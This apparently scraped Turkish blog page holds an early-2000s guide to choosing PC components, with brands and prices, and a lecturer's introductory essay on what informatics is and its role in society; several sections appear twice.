Ekran Kartı : Bilgisayarda görüntüyü işleyen kart ekran kartıdır. İşlemleri yapar ve ekranda görmemizi sağlar. Şu anda piyasada 32, 64 hatta 128 Mb hafızalı ekran kartları bulunmaktadır. Hafızası en kadar fazla olursa görüntü daha çabuk, akıcı ve net olur. Özellikle de oyunlarda ekran kartı çok önemlidir. Ekran kartları 30 dolardan başlayıp 500 dolar ve hatta yukarısına kadar çıkabilmektedir. Ancak 80$-100$'a iyi bir kart alınabilir. Oyunlarda üst düzey perfomans, ayrıntı bekliyor iseniz kesinin ağzını açıp 200-300 $'a ekran kartı alabilirsiniz. Geforce 2 MX-400 chipli ekran kartları piyasada yaygındır ve bilgisayarınıza alabileceğiniz iyi bir seçenektir. ATI, Asus, Winfast, Abit, Gigabyte gibi markaları tercih edebilirsiniz. Para konusunda probleminiz yoksa TNT-2 M64 chipli kartlardan artık uzak durun.
--------------------------------------------------------------------------------
CD-ROM : CD-ROM artık neredeyse her bilgisayarda olan bir parça. Müzik, VCD, Program CD'lerini çalıştırabileceğiniz önemli bir parça. CD-ROM alırken öncelikle yine markaya dikkat ediniz. 52 hızlı LG, Asus, Aopen gibi markaları tercih ediniz. Özellikle LG 52X çok uyumlu, performanslı, sorunsuz bir markadır. Şu anda örnek olarak 52X LG CD-ROM 35$'dır.
--------------------------------------------------------------------------------
Ses Kartı : Bilgisayarı canlı tutan en iyi parçadır ses kartı. Müzik dinlememizi, oyunların seslerini duymamızı sağlar. Onsuz hayat çok sıkıcı olurdu. Eğer dvd, oyun çılgınlığınız yok ise anakart alırken ses chipli modelini seçerek 15-20$'dan kurtulabilirsiniz. Ama 3 boyutlu ses gerçeklik arıyorsanız 5 çıkışlı ses kartları işinizi görecektir. Ancak keseyi açmanız kaçınılmazdır.
--------------------------------------------------------------------------------
Klavye (Keyboard) : Klavye bilgisayar bilgi girişinizi sağlayan birimdir. Klavye alırken yine markaya özen gösterin. Ayrıca klavyenin ergonomik olmasına da dikkat edin. Microsoft, Samsung gibi markaları tercih edebilirsiniz.
--------------------------------------------------------------------------------
Fare (Mouse) : Fare ile bilgisayarda programlarda çalışırken rahatlıkla seçimler yapabilirsiniz. Fare alırken yine marka seçimine dikkat edin. Eğer çok ucuz fare alırsanız ok çabul bozulup sizi çıldırtacağı kesindir. A4 marka mouse'lar hem ucuz hem de sağlamdır. Ama daha kaliteli isterseniz microsoft'un faresini alabilirsiniz.
--------------------------------------------------------------------------------
Disket Sürücü (Floppy) : Disket sürücü disketler aracılığıyla başka bir yere programınızı taşımanızı veya bir programı yüklemenizi sağlar. Marka olarak SONY, Mitsumi, NEC tercih edilebilir.
--------------------------------------------------------------------------------
Kasa : Kasa bilgisayarın dış kalkanı diyebiliriz. Anakart kasaya sabitlenir. Kasa güç kaynağını da içerir. Ayrıca CD-ROM, Harddisk, Disket Sürücü gibi parçalarda kasaya sabitlenir. Kasa alırken çok fazla para harcamanıza gerek yok. Sadece güç kaynağının yüksek çıkış gücüne sahip olduğuna dikkat edin. Özellikle yeni Pentium 4 işlemcili bilgisayarlar 300W'lık güç kaynağına ihtiyaç duyarlar. Dik ve yatık kasa almanız size kalmış. Ancak dik kasalar daha yaygındır.
--------------------------------------------------------------------------------
TV Kartı: Bilgisayarda televizyon izlemek için tv kartı almanız gerekiyor. TV kartı almak isteyenlere birkaç uyarımız olacak. TV kartının kendi anteni yoktur. Bu yüzden evde ikinci bir tv kablosu çekmeniz gerekir bilgisayarın arkasına. Ayrıca kablolu yayınınız varsa elbette daha iyi net görüntü alırsınız. Piyasada FLY, Pixelview, Avermedia gibi markalar vardır. Fly ucuz bir çözümdür ancak problemlidir. Avermedia'dan kesinlikle şaşmayın. Çok kaliteli ürünleri olan Avermedia her türlü istediğiniz işi görür ve sorunsuzdur. Yeni modeli ile bilgisayarınıza dışarıdan görüntü alarak MPEG2 formatında sıkıştırma yapabilir.
--------------------------------------------------------------------------------
Fax-Modem : Özellikle internete ulaşmanızı sağlayan en önemli parça fax-modem'dir. Fax-modem alırken kaliteli alırsanız uyumsuzluk, hattan düşme gibi birçok konuda daha az sorun yaşarsanız. Piyasada Conexant chipli birçok ucuz modem satılmaktadır.Fiyatları yaklaşık 15 dolar civarıdır. Ekonomik olmakla birlikte iyi bir donanım isterler ve sorunludurlar. Sorunsuzluk istiyorsanız Apache fax-modemden vazgeçmeyin. Apache hard (donanım) modemdir. Kendi işini kendi görür ve işlemciye yükü çok azdır. Ayrıca çok uyumludur. Apache modem Pentium 133 işlemcisinden itibaren tüm sistemlerde rahatlıkla kullanılır. Diğer Conexant gibi modemler ise işlemci gücü olarak çok daha fazlasını isterler. Apache fax-modem yaklaşık 35-40$'dır.
Günümüzde bilgisayar alanların sayısı bir hayli artmış durumda. Herkes çağın gerisinde kalmak istemiyor. Ancak bilgisayar satın alırken birçok sorun ortaya çıkıyor.
Bilgisayar yaklaşık 12-13 parçadan oluşur. Ve malesef bilgisayarı almakla çamaşır makinesi veya tv almak arasında çok fark var. En büyük fark tv aldığınızda bu bir markadır. Cihazın bütünü tek bir firma tarafından üretilmiştir. Bilgisayarı oluşturan 12-13 parçanın hepsini üretebilen bir firma yoktur. Piyasada iki tür bilgisayar çeşidi vardır. Birinici markalı, ikincisi ise toplama bilgisayarlardır. Toplama lafı insanın kulağına pek hoş gelmiyor. Ancak sanılanın aksine markalı bilgisayarlarda toplamadır. Nasıl oluyor diyeceksiniz? Daha önce bahsettiğimiz gibi bir firma bilgisayarın bütün parçalarını üretemez. Bunun yerine kendi ürettiği parçaların yanına diğer uyumlu parçaları yerleştirerek bir ürün ortaya çıkarır. Bu yüzden IBM, HP, Compaq vs. gibi markalı olan bilgisayarlarda aslında bir toplamadır. Bu tür firmalar genelde sadece anakart, klavye, mouse ve kasayı üretirler. Diğer parçaları ise başka markalardan tamamlarlar. Ancak fiyatları toplama bilgisayarlara göre yüksektir. Bunun nedeni ise özellikle marka imajıdır. Yine de markalı bilgisayarlarda kullanılan parçalar genelde birbiri uyumludur ve servisleri iyidir. Toplama bilgisayarlara gelecek olursak, günümüzde hangi bilgisayar firmasına gidecek olursak alacağımız her bilgisayar toplama olacaktır. Yani bilgisayar firmasının oluşturduğu veya sizin seçtiğiniz parçalardan oluşan bir bilgisayardır toplama bilgisayarlar. Toplama bilgisayarlarda dikkat edilecek husus ise her parçada kaliteli ve performanslı bir marka seçmektir.
Şimdi dilerseniz bilgisayarın parçalarına bir gözatalım...
--------------------------------------------------------------------------------
Anakart (mainboard) bilgisayarın herşeyi diyebiliriz. Birçok parça üstüne takılır ve bu parçalar arasında iletişimi sağlar. Anakart alırken kesinlikle kaliteli markalar tercih edilmesi ileride yaşayacağınız sorunları en aza indirir. Asus, Gigabyte, Abit, Aopen gibi anakartlar listenizin başında gelecek marklar olsun. Bu markaların en ucuz modelleri bile çok stabil ve performanslı çalışmaktadırlar. Anakart fiyatları 50$ ile 300$ dolar arasında değişmektedir. Daha pahalı nadir modeller de mevcuttur. Şu anda alınabilecek ortalama iyi bir anakart ise 120$ civarındadır. Anakart alırken gözönünde tutmanız gereken noktalar ise şunlardır:
1- Aşağıda gördüğünüz beyaz PCI yuvalarının olabildiğince çok olmalarına dikkat edin. Böylece fax-modem, tv-kartı, ses kartı gibi parçalar takarken boş yuva bulma sorununuz ortadan kalkar. Bazı ucuz modeller aşağıda kartdan daha az PCI yuva sunarlar.
2-Anakartların önemli bir parçasıda chipset'leridir. INTEL, VIA, SIS gibi değişik alternatifler mevcuttur. Intel chipsetleri tercih etmeniz daha yararlıdır. (Örnek i845)
3-Eğer ses konusunda hasta değil iseniz, anakartınızı ses chipli modellerden tercih edebilirsiniz. Ekstra ses kartı almaktan kurtularak, daha ekonomik bir çözüm sağlarsınız.
4- Bilgisayarlarda artık daha fazla USB girişlerini kullanan cihazlar boy göstermektedirler. Bu yüzden alacağınız anakartta USB girişlerinin fazla olmasına dikkat ediniz.
--------------------------------------------------------------------------------
İkinci inceleyeceğimiz parça CPU (işlemci): İşlemci bilgisayarınızın tüm işlemlerini yapan ve hızını belirleyen en önemli parçadır. Şu anda Pentium 4 işlemciler yaygındır. İşleciyi en kadar hızlı modellerden seçerseniz bilgisayarınız o derecede hızlı olacaktır. Piyadasa Intel ve AMD marka işlemcileri bulabilirsiniz. Ancak en çok Intel marka işlemciler yaygındır. İşlemciler de en büyük sorun ısınma sorunudur. Bunun için üstlerine fan takılır. Bu fanlarında kaliteli olması gerekir. Eğer fan görevini iyi yerine getiremezse işlemci yanabilir.
--------------------------------------------------------------------------------
Sıradaki parçamız ise RAM: RAM için bilgisayarın geçici hafızası diyebiliriz. Bilgisayarda bir programı çalştırdığınız zaman bilgiler harddiskten alınıp ram'a aktırılarak size ulaştırılır. Bilgisayarın hızını etkileyen ikinci önemli parçadır. Örnek olarak Windows XP ortalama 128 MB RAM istemektedir. Eğer bilgisayarınızda 128 MB ram var ise windows açıldıktan sonra programlarınıza çok az yer kalır demektir. Bilgisayar Ram'da yeterince boş yer bulamazsa harddiski ram gibi kullanır. Harddisk ram'a göre yavaşi olduğu için bu da performans düşmesi demektir. RAM harddiske göre 300 kat daha hızlıdır. Şu anda bir bilgisayarda 256 MB olması o bilgisayarın rahat çalışması için yeterlidir. Sadece mühendislik, animasyon vs uygulamalarda daha fazla ram gerekir. Bilgisayarınızdan performans alamıyorsanız ilk önce ram'ınıza bakın. eğer 32, 64 Mb ram'ınız varsa mutalaka ram ekleyin. Makineniz daha rahat çalışıp, harddiskin sürekli çalışma sesi azalacaktır. Piyasada SDRAM, DDRAM, RDRAM gibi seçenekler bulunmaktadır. SDRAM daha az performanslı olmasına rağmen uzun süredir standart, stabil, ekonomik bir ram türüdür. Şu anda 256 MB SDRAM 70$ dolar civarındadır. Ram'ler hassas parçalardır. Özellikle statik elektrikten etkilenirler. Ram ile uğraşırken önce kendinizi topraklayın. Bir metala deyin mesela. Ayrıca chiplerine deymemeye çalışın. Eğer ram'a zarar verirseniz bilgisayarınız çalışırken bir sürü program hataları ile karşılaşabilirsiniz.
--------------------------------------------------------------------------------
Evet işte depomuza sıra geldi Harddisk: Harddisk bilgisayarımızda programlarımızı barındıran depodur. Bilgisayarın elektriği kapandığında bile programlar hala saklanır. İstediğimiz zaman bize programlara ulaşma şansı verir. Zaman geçtikçe ihtiyaç doğrultusunda harddisklerin kapasiteleri müthiş arttı. Şu anda 20-40 GB harddiskler tutuluyor. Yakın bir zamanda çıta yükselecek her zamanki gibi. Ayrıca 20 ile 40 GB arasındaki fiyat farkı da çok az. Harddisk alırken özellikle 7200 rpm ve ATA-133 veriyolu destekli hızlı harddiskleri tercih ediniz. Marka olarak Matrox, Seagate, Quantum, Samsung, Western Digital gibi iyi markaları tercih edebilirsiniz.
--------------------------------------------------------------------------------
Ekran (Monitör): Bilgisayarın yaptığı işlemcileri görmemizi sağlayan birime ekran (monitör) denir. Monitörler çeşitli büyüklüktedirler. 15, 17, 21 inc gibi. Şu anda piyasada daha çok 17 inç monitörler yaygındır. Monitör alırken dikkat etmeniz gereken şey yine markadır. Philips, LG, Hyundai gibi markaları tercih edebilirsiniz. Oyunlara çok düşkün ve paranız varsa bu markaların daha üst modelleri de mevcuttur. Örnek olarak Philips 17 inç modeli yaklaşık 156$'dır.
--------------------------------------------------------------------------------
Ekran Kartı : Bilgisayarda görüntüyü işleyen kart ekran kartıdır. İşlemleri yapar ve ekranda görmemizi sağlar. Şu anda piyasada 32, 64 hatta 128 Mb hafızalı ekran kartları bulunmaktadır. Hafızası en kadar fazla olursa görüntü daha çabuk, akıcı ve net olur. Özellikle de oyunlarda ekran kartı çok önemlidir. Ekran kartları 30 dolardan başlayıp 500 dolar ve hatta yukarısına kadar çıkabilmektedir. Ancak 80$-100$'a iyi bir kart alınabilir. Oyunlarda üst düzey perfomans, ayrıntı bekliyor iseniz kesinin ağzını açıp 200-300 $'a ekran kartı alabilirsiniz. Geforce 2 MX-400 chipli ekran kartları piyasada yaygındır ve bilgisayarınıza alabileceğiniz iyi bir seçenektir. ATI, Asus, Winfast, Abit, Gigabyte gibi markaları tercih edebilirsiniz. Para konusunda probleminiz yoksa TNT-2 M64 chipli kartlardan artık uzak durun.
--------------------------------------------------------------------------------
CD-ROM : CD-ROM artık neredeyse her bilgisayarda olan bir parça. Müzik, VCD, Program CD'lerini çalıştırabileceğiniz önemli bir parça. CD-ROM alırken öncelikle yine markaya dikkat ediniz. 52 hızlı LG, Asus, Aopen gibi markaları tercih ediniz. Özellikle LG 52X çok uyumlu, performanslı, sorunsuz bir markadır. Şu anda örnek olarak 52X LG CD-ROM 35$'dır.
--------------------------------------------------------------------------------
Ses Kartı : Bilgisayarı canlı tutan en iyi parçadır ses kartı. Müzik dinlememizi, oyunların seslerini duymamızı sağlar. Onsuz hayat çok sıkıcı olurdu. Eğer dvd, oyun çılgınlığınız yok ise anakart alırken ses chipli modelini seçerek 15-20$'dan kurtulabilirsiniz. Ama 3 boyutlu ses gerçeklik arıyorsanız 5 çıkışlı ses kartları işinizi görecektir. Ancak keseyi açmanız kaçınılmazdır.
--------------------------------------------------------------------------------
Klavye (Keyboard) : Klavye bilgisayar bilgi girişinizi sağlayan birimdir. Klavye alırken yine markaya özen gösterin. Ayrıca klavyenin ergonomik olmasına da dikkat edin. Microsoft, Samsung gibi markaları tercih edebilirsiniz.
--------------------------------------------------------------------------------
Fare (Mouse) : Fare ile bilgisayarda programlarda çalışırken rahatlıkla seçimler yapabilirsiniz. Fare alırken yine marka seçimine dikkat edin. Eğer çok ucuz fare alırsanız ok çabul bozulup sizi çıldırtacağı kesindir. A4 marka mouse'lar hem ucuz hem de sağlamdır. Ama daha kaliteli isterseniz microsoft'un faresini alabilirsiniz.
--------------------------------------------------------------------------------
Disket Sürücü (Floppy) : Disket sürücü disketler aracılığıyla başka bir yere programınızı taşımanızı veya bir programı yüklemenizi sağlar. Marka olarak SONY, Mitsumi, NEC tercih edilebilir.
--------------------------------------------------------------------------------
Kasa : Kasa bilgisayarın dış kalkanı diyebiliriz. Anakart kasaya sabitlenir. Kasa güç kaynağını da içerir. Ayrıca CD-ROM, Harddisk, Disket Sürücü gibi parçalarda kasaya sabitlenir. Kasa alırken çok fazla para harcamanıza gerek yok. Sadece güç kaynağının yüksek çıkış gücüne sahip olduğuna dikkat edin. Özellikle yeni Pentium 4 işlemcili bilgisayarlar 300W'lık güç kaynağına ihtiyaç duyarlar. Dik ve yatık kasa almanız size kalmış. Ancak dik kasalar daha yaygındır.
--------------------------------------------------------------------------------
TV Kartı: Bilgisayarda televizyon izlemek için tv kartı almanız gerekiyor. TV kartı almak isteyenlere birkaç uyarımız olacak. TV kartının kendi anteni yoktur. Bu yüzden evde ikinci bir tv kablosu çekmeniz gerekir bilgisayarın arkasına. Ayrıca kablolu yayınınız varsa elbette daha iyi net görüntü alırsınız. Piyasada FLY, Pixelview, Avermedia gibi markalar vardır. Fly ucuz bir çözümdür ancak problemlidir. Avermedia'dan kesinlikle şaşmayın. Çok kaliteli ürünleri olan Avermedia her türlü istediğiniz işi görür ve sorunsuzdur. Yeni modeli ile bilgisayarınıza dışarıdan görüntü alarak MPEG2 formatında sıkıştırma yapabilir.
--------------------------------------------------------------------------------
Fax-Modem : Özellikle internete ulaşmanızı sağlayan en önemli parça fax-modem'dir. Fax-modem alırken kaliteli alırsanız uyumsuzluk, hattan düşme gibi birçok konuda daha az sorun yaşarsanız. Piyasada Conexant chipli birçok ucuz modem satılmaktadır.Fiyatları yaklaşık 15 dolar civarıdır. Ekonomik olmakla birlikte iyi bir donanım isterler ve sorunludurlar. Sorunsuzluk istiyorsanız Apache fax-modemden vazgeçmeyin. Apache hard (donanım) modemdir. Kendi işini kendi görür ve işlemciye yükü çok azdır. Ayrıca çok uyumludur. Apache modem Pentium 133 işlemcisinden itibaren tüm sistemlerde rahatlıkla kullanılır. Diğer Conexant gibi modemler ise işlemci gücü olarak çok daha fazlasını isterler. Apache fax-modem yaklaşık 35-40$'dır.
8 Ocak 2008 Salı
Bilişim Nedir_?
BİLİŞİM NEDİR ?
Bilişim bilgi ve teknolojinin birlikte kullanılarak üretilen sonuçlar olarak kısaca tarif edilebilir. Bilişimin birkaç yönü vardır. Bunlar bilgisayar yazılımı, bilgisayar donanımı, bilgisayar kullanıcısı ve bilgi toplumu olarak sınıflayabiliriz. Bilişimin yönleri birbirleri ile bir araya gelerek veya ayrı ayrı kullanılabilir. Burada en önemlisi bilgisayarın yazılımdan ayrı olmayacağını anlamak gerekir.
Bilişimin en önemli tarafı toplumdur. Toplumun bilgisayarı kullanarak bilgi ihtiyacını karşılaması gerekir. Örneğin nüfus idaresi işlemleri pasaport işlemleri, vergi ödeme gibi parasal işlemlerin yanında sosyal işlemlerde olabilir bunlar ise sinema - tiyatro bileti almak gibi. Bilgilerin anlamadığımız şekillerden okunabilir şekillere gelmesine olanak tanıyan bilgisayar bilgilerimizi depolamamıza da yardımcı olur. Daha sonra bu bilgileri istediğimiz zaman ulaşarak okuruz.
Bilgi paylaştıkça çoğalan bir etkiye sahiptir. Bildiklerimizi paylaştıkça diğer insanların bu bilgilerin üzerine bir şeyler koyarak yeni bilgiler üretmesine olanak sağlanır. Eğer Newton yerçekimini bulduğunu söylemeseydi, arşimed suyun kaldırma kuvvetini bildiğini başkaları ile paylaşmasaydı bu gün dünya daha farklı olurdu. Bilgiyi paylaşırken kullandığımız yöntemler farklılaşmaya başlamasına rağmen temel olarak bilgisayardan ayrı düşünmemiz imkansızdır. Önceleri yakınlarımıza ve arkadaşlarımıza mektup olarak yazdığımızı bu günlerde artık bilgisayar yardımı ile elektronik posta olarak göndermekteyiz. Bu gönderiler için çok sık ismini duyduğumuz internet ağını kullanırız.
Internet ağı bilgisayarların birtakım bağlantı sistemleri ile birbirlerine bağlanarak veri göndermesini sağlar. Veriler elektrik kabloları gibi kablolar ve telefon hatları gibi bağlantı şekillerinden bilgisayarlar arasından taşınır. İnternet bu genel iletişim ağının adıdır. Bu ağ bilgisayar üzerinden veri göndermemize, görüntü göndermemize veya ses göndermemize yarar. Artık günümüzde internet üzerinden telefon gibi konuşmamıza olanak tanıyan bilgisayar programları vardır. Bu programlar internet üzerinden bir bilgisayardan başka bir bilgisayara bizim ses ve görüntümüzü iletebilmektedir. Örneğin MSN (Microsoft Network) yahoo Messenger, Microsoft Messenger ve daha bir çok örnek verebiliriz. Bu programlar bilgimizi başkaları ile 1
paylaşmamıza yardımcı olmakta veya sevdiklerimiz ile bilgisayar üzerinden görmemize sesini duymamıza yardımcı olur.
Bilişim dünyası temelde bilgisayar ve bilgisayar yazılımlarının insanların ihtiyaçlarına göre düzenlendiği dünyadır. Yaşadığımız dünyada varlığımızı sürdürebilmek için bilgi ve bilgiyi kullanmaya ihtiyacımız vardır. Bilişim bize bilgi dünyası ile teknoloji dünyası arasındaki köprüyü kurarak günlük hayatımızı kolaylaştırır. Bir gün evde otururken canımız meyveli kek istedi diyelim, annemizde meyveli kekin tarifini hatırlamıyor, tarif alacağı kimsede o anda yok ise biz kek yiyemeyiz. Çünkü tarifini bilmiyoruz. Bilgi sistemlerini kullanarak bu durumu nasıl aşarız. İşte burada bilgisayar ve internet bize yardımcı olabilir. Hemen bilgisayarımızın başına oturarak internet bağlanır ve daha önceden birilerinin hazırladığı kek tariflerinin olduğu internet sayfalarından bunu öğreniriz ve annemiz bize güzel bir meyveli kek yapabilir.
Aile bireylerimizden birisinin yurt dışından okuduğunu düşünelim. Telefon paraları çok fazla gelebilir ve bir sadece telefonda sesini duyabiliriz. Akrabamızın kendisini görmek için internet üzerinden sesli ve görüntülü konferans başlatarak hem akrabamızı görmüş oluruz hemde sesini duyarız. Bunun maliyeti ise bize sadece internet bağlantı ücreti gibi olur.
Son yıllarda e-Devlet projeleri duymaktayız. Bazen haber programlarında bazen de çevremizde bununla ilgili bir sürü yazı görüyoruz. Eskiden pasaport çıkarmak için bir sürü sıraya girip saatlerce sıra bekliyordur, vergi ödemek için de aynı şekilde sır bekliyor ve yoruluyordur. Artık pasaport çıkarmak için veya vergi ödemek için bu sıraları beklememize gerek yok. Bu tür işlemleri de elektronik olarak internet üzerinden yapabiliriz. Bilgisayarımızın başına oturup internet üzerinden vergi ödeyip pasaport başvurumuzu yapabiliriz. Bankada ne kadar paramızın kaldığını görmek için internet bankacılığı hizmetini veren bankalardan da yararlanabiliriz.
Bilgi paylaşımı olmasaydı bu gün bilgisayarın icat etmek zorlaşır ve hayatımıza kolaylık getiren bu cihazı kullanamazdık. Bir çok ülkede insanlar bilgilerini paylaşmaktadır. Bilişim bize bu paylaşmanın yolunu da göstermektedir. Web sayfalarından ihtiyacımız olan bir marka spor ayakkabı hakkında bilgi sahibi olabiliriz. Giyim hakkında merak ettiğimiz şeyler, moda veya kumaşlar ile ilgili diğer merak ettiklerimizi de bu web sayfalarından öğrenebiliriz. Sağlık ile merak ettiğimiz ve
2
öğrenmek istediklerimizi de örneğin Sağlık Bakanlığı web sayfalarından öğrenebiliriz. Bir hastalığı merak ediyoruz ve nasıl bulaştığını öğrenerek o hastalıktan korunmak istiyoruz. Bu gibi bilgileri de web sayfalarından öğrenebiliriz.
Bilgisayar bilişimin temel dayanağı olduğunu söylemiştik. Bilgisayarlar elektriksel sinyalleri bazı yöntemler ile bizim anlayacağımız şekillere çeviren makinelerdir. Bilgisayarlar bilgileri bizim anlamadığımız şekiller ve görüntüler ile içlerindeki sabit disk ortamında saklarlar. İhtiyacımız olduğunda bizim anlayacağımız şekilde vereceğimiz komutları alarak kendi anlayacağı komutlara çevirirler ve istediğimiz bilgileri bulduktan sonra bizim anlayacağımı şekilde ekran denen dış çevre birimine gönderirler. Bilgileri kasalarının içerisinde bulunan sabit ve geçici bellek denen yerlerde bulundururlar. İşlemci ise bilgisayarın bizim anladığımız komutları bilgisayarın anlayacağı komutlara çeviren birimidir. İşlemci tek başına çalışamaz mutlaka bir bilgisayar kasası içerisinde uygun bir bilgisayar kartına bağlı olması gerekir.
Bilişim bilgisayar ve bilgilerin insan çevresinde insana yararlı olarak kullanılması gerekir. Bilgisayar ile oyun oynayanların bilişim ve bilişim okut yazarlığı ile ilgisi yoktur. Türkiye de her bireyin mutlaka bilgisayar okur yazarı olması gerekir. Bilişim ise bu bilgisayar okur yazarlığından sonra gereken akıl ve bilgisayarın birlikte kullanımı ile gerçekleşir. Her toplumda olduğu gibi bizim toplumumuzda bazı eksiklikler de olabilir. Bilişim toplumu olmak için biz bu eksiklikleri gidermeliyiz. İlk olarak ilköğretimden bu işe başlamalıyız.
Bilişim akıl ve bilgisayar olmadan olmayan bir kavramdır. Bilgisayar hayatımızın her alanına girerken bu alanları nasıl kullanacağımızı öğrenmemek bizi kolay yaşamdan ve toplumdan uzaklaştırabilir. Bilgisayar bilmek bilgisayar oyunlarını çok iyi oynamak değildir. Bilişim toplumu bilgisayar oyunlarını çok iyi oynamak ile sağlanmaz. Bunu sağlamak için bilgisayar programlama ve günlük hayatımızın içerisine bilgisayar kullanmayı katmamız gerekir. Bilgisayar öğrenmenin yaşı yoktur. Eskilerin söylediği öğrenmenin yaşı yoktur sözü bilgisayar öğrenmenin yaşı yoktur şeklinde değişmelidir. Çünkü bilgisayar kullanmayı bilmeyen bir kişi bir süre sonra vergisini ödeyemez, bankadan parasını çekemez veya günlük hayatını devam ettirirken zorlanan kişi haline gelecektir.
3
Bilgisayar yazılımları için bilgisayar programlama araçlarına (visual basic- delphi v.s.) ihtiyaç duyulur. Bu araçlar bilgisayarımızda bizim yaptırmak istediğimiz özel işleri programlamak için gereklidir. Bu araçlar kullanmak için bilgisayar donanımları hakkında bilgilere ihtiyaç vardır. Yazı yazmak için ofis programlarına ihtiyaç duyulur. Ofis programları bizim defterimiz gibi yazıları yazarak saklamamıza ve daha sonradan tekrar çağırarak okumamızı sağlar. Ofis programlarında mektup yazmak, ödev hazırlamak, hesap tabloları kullanarak aylık harcama listelerini oluşturmak gibi birçok işi yapabiliriz. Bilişim bize tüm bu anlatılanları sağlar ve hayatımızı kolaylaştırır.
Öğr. Gör. İrfan MACİT
Çukurova Üniversitesi
Endüstri Mühendisliği Bölümü
01330 Balcalı ADANA
4
Bilişim bilgi ve teknolojinin birlikte kullanılarak üretilen sonuçlar olarak kısaca tarif edilebilir. Bilişimin birkaç yönü vardır. Bunlar bilgisayar yazılımı, bilgisayar donanımı, bilgisayar kullanıcısı ve bilgi toplumu olarak sınıflayabiliriz. Bilişimin yönleri birbirleri ile bir araya gelerek veya ayrı ayrı kullanılabilir. Burada en önemlisi bilgisayarın yazılımdan ayrı olmayacağını anlamak gerekir.
Bilişimin en önemli tarafı toplumdur. Toplumun bilgisayarı kullanarak bilgi ihtiyacını karşılaması gerekir. Örneğin nüfus idaresi işlemleri pasaport işlemleri, vergi ödeme gibi parasal işlemlerin yanında sosyal işlemlerde olabilir bunlar ise sinema - tiyatro bileti almak gibi. Bilgilerin anlamadığımız şekillerden okunabilir şekillere gelmesine olanak tanıyan bilgisayar bilgilerimizi depolamamıza da yardımcı olur. Daha sonra bu bilgileri istediğimiz zaman ulaşarak okuruz.
Bilgi paylaştıkça çoğalan bir etkiye sahiptir. Bildiklerimizi paylaştıkça diğer insanların bu bilgilerin üzerine bir şeyler koyarak yeni bilgiler üretmesine olanak sağlanır. Eğer Newton yerçekimini bulduğunu söylemeseydi, arşimed suyun kaldırma kuvvetini bildiğini başkaları ile paylaşmasaydı bu gün dünya daha farklı olurdu. Bilgiyi paylaşırken kullandığımız yöntemler farklılaşmaya başlamasına rağmen temel olarak bilgisayardan ayrı düşünmemiz imkansızdır. Önceleri yakınlarımıza ve arkadaşlarımıza mektup olarak yazdığımızı bu günlerde artık bilgisayar yardımı ile elektronik posta olarak göndermekteyiz. Bu gönderiler için çok sık ismini duyduğumuz internet ağını kullanırız.
Internet ağı bilgisayarların birtakım bağlantı sistemleri ile birbirlerine bağlanarak veri göndermesini sağlar. Veriler elektrik kabloları gibi kablolar ve telefon hatları gibi bağlantı şekillerinden bilgisayarlar arasından taşınır. İnternet bu genel iletişim ağının adıdır. Bu ağ bilgisayar üzerinden veri göndermemize, görüntü göndermemize veya ses göndermemize yarar. Artık günümüzde internet üzerinden telefon gibi konuşmamıza olanak tanıyan bilgisayar programları vardır. Bu programlar internet üzerinden bir bilgisayardan başka bir bilgisayara bizim ses ve görüntümüzü iletebilmektedir. Örneğin MSN (Microsoft Network) yahoo Messenger, Microsoft Messenger ve daha bir çok örnek verebiliriz. Bu programlar bilgimizi başkaları ile 1
paylaşmamıza yardımcı olmakta veya sevdiklerimiz ile bilgisayar üzerinden görmemize sesini duymamıza yardımcı olur.
Bilişim dünyası temelde bilgisayar ve bilgisayar yazılımlarının insanların ihtiyaçlarına göre düzenlendiği dünyadır. Yaşadığımız dünyada varlığımızı sürdürebilmek için bilgi ve bilgiyi kullanmaya ihtiyacımız vardır. Bilişim bize bilgi dünyası ile teknoloji dünyası arasındaki köprüyü kurarak günlük hayatımızı kolaylaştırır. Bir gün evde otururken canımız meyveli kek istedi diyelim, annemizde meyveli kekin tarifini hatırlamıyor, tarif alacağı kimsede o anda yok ise biz kek yiyemeyiz. Çünkü tarifini bilmiyoruz. Bilgi sistemlerini kullanarak bu durumu nasıl aşarız. İşte burada bilgisayar ve internet bize yardımcı olabilir. Hemen bilgisayarımızın başına oturarak internet bağlanır ve daha önceden birilerinin hazırladığı kek tariflerinin olduğu internet sayfalarından bunu öğreniriz ve annemiz bize güzel bir meyveli kek yapabilir.
Aile bireylerimizden birisinin yurt dışından okuduğunu düşünelim. Telefon paraları çok fazla gelebilir ve bir sadece telefonda sesini duyabiliriz. Akrabamızın kendisini görmek için internet üzerinden sesli ve görüntülü konferans başlatarak hem akrabamızı görmüş oluruz hemde sesini duyarız. Bunun maliyeti ise bize sadece internet bağlantı ücreti gibi olur.
Son yıllarda e-Devlet projeleri duymaktayız. Bazen haber programlarında bazen de çevremizde bununla ilgili bir sürü yazı görüyoruz. Eskiden pasaport çıkarmak için bir sürü sıraya girip saatlerce sıra bekliyordur, vergi ödemek için de aynı şekilde sır bekliyor ve yoruluyordur. Artık pasaport çıkarmak için veya vergi ödemek için bu sıraları beklememize gerek yok. Bu tür işlemleri de elektronik olarak internet üzerinden yapabiliriz. Bilgisayarımızın başına oturup internet üzerinden vergi ödeyip pasaport başvurumuzu yapabiliriz. Bankada ne kadar paramızın kaldığını görmek için internet bankacılığı hizmetini veren bankalardan da yararlanabiliriz.
Bilgi paylaşımı olmasaydı bu gün bilgisayarın icat etmek zorlaşır ve hayatımıza kolaylık getiren bu cihazı kullanamazdık. Bir çok ülkede insanlar bilgilerini paylaşmaktadır. Bilişim bize bu paylaşmanın yolunu da göstermektedir. Web sayfalarından ihtiyacımız olan bir marka spor ayakkabı hakkında bilgi sahibi olabiliriz. Giyim hakkında merak ettiğimiz şeyler, moda veya kumaşlar ile ilgili diğer merak ettiklerimizi de bu web sayfalarından öğrenebiliriz. Sağlık ile merak ettiğimiz ve
2
öğrenmek istediklerimizi de örneğin Sağlık Bakanlığı web sayfalarından öğrenebiliriz. Bir hastalığı merak ediyoruz ve nasıl bulaştığını öğrenerek o hastalıktan korunmak istiyoruz. Bu gibi bilgileri de web sayfalarından öğrenebiliriz.
